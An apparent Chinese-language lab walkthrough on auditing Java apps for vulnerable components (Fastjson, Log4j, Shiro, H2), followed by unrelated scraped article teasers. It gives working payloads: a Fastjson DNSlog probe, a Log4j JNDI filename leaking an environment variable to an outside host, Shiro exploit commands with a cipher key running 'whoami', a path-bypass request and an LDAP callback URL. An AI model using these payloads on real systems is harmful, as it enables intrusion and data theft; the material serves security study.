DAY120java审计第三方组件依赖库挖掘FastjsonShiroLog4jH2DB

news/2024/11/20 21:08:44/

组件漏洞判断插件

一、Tmall_demo-master(fastjson

1、配置文件查找安装组件

1、JSON.parse(json)

2、JSON.parseObject

2、找可控的变量

3、利用组件漏洞

poc:propertyJson={"@type":"java.net.Inet4Address","val":"233997ee.log.dnslog.sbs"}

二、Tmall_demo-master(Log4j)

logger.error,logger.info函数触发

1、配置文件查找安装组件

session不可控

2、寻找可控变量

originalFileName从file.getOriginalFilename获取文件名

修改文件名利用漏洞

Poc:filename="${jndi:ldap://${env:OS}.7ffb7b28.log.dnslog.sbs}"

3、Jndi

失败

版本不在区间

三、RuoYi-v4.2(shrio版本漏洞)

/docs;/../admin/

1、密钥setCipherKey

python shiro-exploit.py check -u http://127.0.0.1

2、利用链

python shiro-exploit.py echo -g CommonsCollectionsK1 -u http://127.0.0.1 -v 2 -k fCq+/xW488hMTCD+cmJ3aQ== -c whoami

3、shiro漏洞绕过拦截器

4、/css;/../common/download利用漏洞shiro

GET /css;/../common/download HTTP/1.1

四、halo-0.4.3(h2database)

1、环境配置进入后台

2、访问h2database

javax.naming.InitialContext

ldap://192.168.93.1:1389/9nbcm6


http://www.ppmy.cn/news/1548576.html

相关文章

vue + axios config url 转码 空格转成 +(前端解决)

encodeURI 对一个完整的URI 进行编码,而encodeURIComponent对URI 的一个组件(单个参数)进行编码。 // 浏览器get请求 service.interceptors.request.use(config > { let url config.urlif (config.method get && config.params…

15分钟学 Go 实战项目六 :统计分析工具项目(30000字完整例子)

统计分析工具项目 1. 项目概述 功能模块说明难度数据收集CSV文件读取和解析★★☆☆☆数据分析基本统计和高级分析★★★☆☆可视化生成图表和报告★★★★☆导出功能支持多种格式导出★★☆☆☆Web界面交互式数据分析★★★★☆ 2. 项目架构 3. 核心代码实现 3.1 数据模型…

AI赋能电商:开启智慧零售新纪元

根据麦肯锡最新研究报告显示,到2025年,AI技术将为全球零售业带来4000-8000亿美元的价值增长。在中国,已有超过60%的电商平台开始应用AI技术优化运营流程。人工智能正在重塑电商行业的经营法则,带来前所未有的机遇与挑战。 一、智…

【FMC169】基于VITA57.1标准的4发4收射频子模块(基于ADRV9026)

产品概述 FMC169 是一款基于VITA57.1 标准规范,实现4 收4发的射频子模块,该板卡基于ADI的捷变收发器ADRV9026作为处理核心,射频工作范围为75MHz~6GHz频段,发射最大信号带宽450MHz,接收最大带宽200MHz,提供…

【MYSQL】什么是关系型数据库与非关系型数据库?

真正的让你快速理解什么是关系型数据库与非关系型数据库~ 主要是以查询语句,存储结构,拓展 性上的区别。 关系型数据库(最经典就是mysql,oracle):它是支持SQL语言,并且关系型数据库大部分都支持…

时代变迁对传统机器人等方向课程的巨大撕裂

2020年之后,全面转型新质课程规划,传统课程规划全部转为经验。 农耕-代表性生产关系-封建分配制度主要生产力-人力工业-代表性生产关系-资本分配制度工业分为机械时代,电气时代,信息时代;主要生产力-人力转为人脑&…

Debezium-EmbeddedEngine

提示:一个嵌入式的Kafka Connect源连接器的工作机制 文章目录 前言一、控制流图二、代码分析 1.构造函数2.完成回调3.连接器回调4.RUN总结 前言 工作机制: * 独立运行:嵌入式连接器在应用程序进程中独立运行,不需要Kafka、Kafka C…

STM32 + 移远EC800 4G通信模块数传

一、4G模块简述 EC800M-CN 是移远通信(Quectel)推出的一款高性能、超小尺寸的 LTE Cat 1 无线通信模块,专为 M2M(机器对机器)和 IoT(物联网)应用设计。它具有以下主要特点: 通信速率…